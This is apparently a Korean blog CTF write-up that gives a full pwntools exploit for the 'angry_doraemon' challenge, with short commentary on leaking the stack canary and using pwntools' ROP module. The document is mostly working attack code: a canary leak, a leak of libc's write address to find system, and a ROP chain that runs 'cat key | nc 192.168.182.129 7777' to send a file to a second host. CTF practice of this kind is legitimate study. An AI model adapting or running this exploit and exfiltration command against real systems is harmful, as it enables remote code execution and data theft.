context(arch='x86', os='linux', endian='little')

print "[+] angry_doraemon exploit by hyunmini"
SIP = '192.168.182.202'
SPORT = 8888

e = ELF('./angry_doraemon')

# leak canary
print '\n\n\n ### leak canary...\n\n\n'
r = remote(SIP, SPORT)
print r.recvuntil('>')
r.send('4')
print r.recvuntil(' ')
sleep(0.1)
r.send('y'*11)
data = r.recvuntil('!!')
print hexdump(data)
canary = u32('\x00'+data[0x27:0x2a])
print '[+] leaked canary : 0x%x' % canary


canary 를 출력하기 위해서 10 byte 를 채워주면 되지만 실제로 y*10 을 하면 canary 값이 전송되지 않는 것으로 보아 첫번째 canary byte 는 '\x00' 임을 알 수 있다.





이제 canary 값을 구했으니 일반적인 ROP Exploit 을 작성하면 된다. 



# pwn_rop.py


#!/usr/bin/python
import time
from pwn import *
context(arch='x86', os='linux', endian='little')

print "[+] angry_doraemon exploit by hyunmini"

SIP = '192.168.182.202'
SPORT = 8888

e = ELF('./angry_doraemon')
rop = ROP(e)
rop2 = ROP(e)
offset = 0x8bd80 # write - system
bss = e.bss() # writable addr

# leak canary
print '\n\n\n ### leak canary...\n\n\n'
r = remote(SIP, SPORT)
print r.recvuntil('>')
r.send('4')
print r.recvuntil(' ')
sleep(0.1)
r.send('y'*11)
data = r.recvuntil('!!')
print hexdump(data)
canary = u32('\x00'+data[0x27:0x2a])
print '[+] leaked canary : 0x%x' % canary

# Stage 1 : leak Exploit
print '\n\n\n ### Stage 1 : leak write addr... \n\n\n'
r2 = remote(SIP ,SPORT)
print r2.recvuntil('>')
r2.send('4')
print r2.recvuntil(' ')
sleep(0.1)
#payload_rop = p32(write_plt) + p32(pppr) + p32(0x4) + p32(write_got) + p32(0x4)
rop.write(0x4, e.got['write'], 0x4)
payload = 'y'*10 + p32(canary) + "a"*12 + rop.chain()
r2.send(payload)
sleep(1)
data2 = r2.recv(2048)
write = r2.recv(2048)
print hexdump(write)
print '[+] leaked write addr : 0x%x' % u32(write)
system = u32(write) - offset
print '[+] system addr : 0x%x' % system
e.symbols['system'] = system 

# Stage 2 : ROP Exploit
print '\n\n\n ### Stage 2 : ROP Exploit \n\n\n'
cmd = "cat key | nc 192.168.182.129 7777\x00"
r3 = remote(SIP ,SPORT)
print r3.recvuntil('>')
r3.send('4')
print r3.recvuntil(' ')
sleep(0.1)
#payload_rop = p32(read_plt) + p32(pppr) + p32(0x4) + p32(bss) + p32(len(cmd)) + p32(system) + "AAAA" + p32(bss)
rop2.read(0x4, bss, len(cmd))
rop2.system(bss)
payload = 'y'*10 + p32(canary) + "a"*12 + rop2.chain()
r3.send(payload)
sleep(1)
r3.send(cmd)
print r3.recv(1024)


기존에는 아래와 같이 p32 만 사용했었는데, 이번에 ROP 모듈을 살펴보니 훨씬 쉽게 작성이 가능했다.


payload_rop = p32(write_plt) + p32(pppr) + p32(0x4) + p32(write_got) + p32(0x4)

위 코드 대신에 아래와 같이 간단히 써주면 된다. 직접 주소를 구할 필요도 없다.

rop.write(0x4, e.got['write'], 0x4)
rop.chain()


nc 로 열고 exploit 을 실행하면 키값을 읽어오는 것을 확인할 수 있다.



끄읏

'CTF Writeup' 카테고리의 다른 글

0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28

+ Recent posts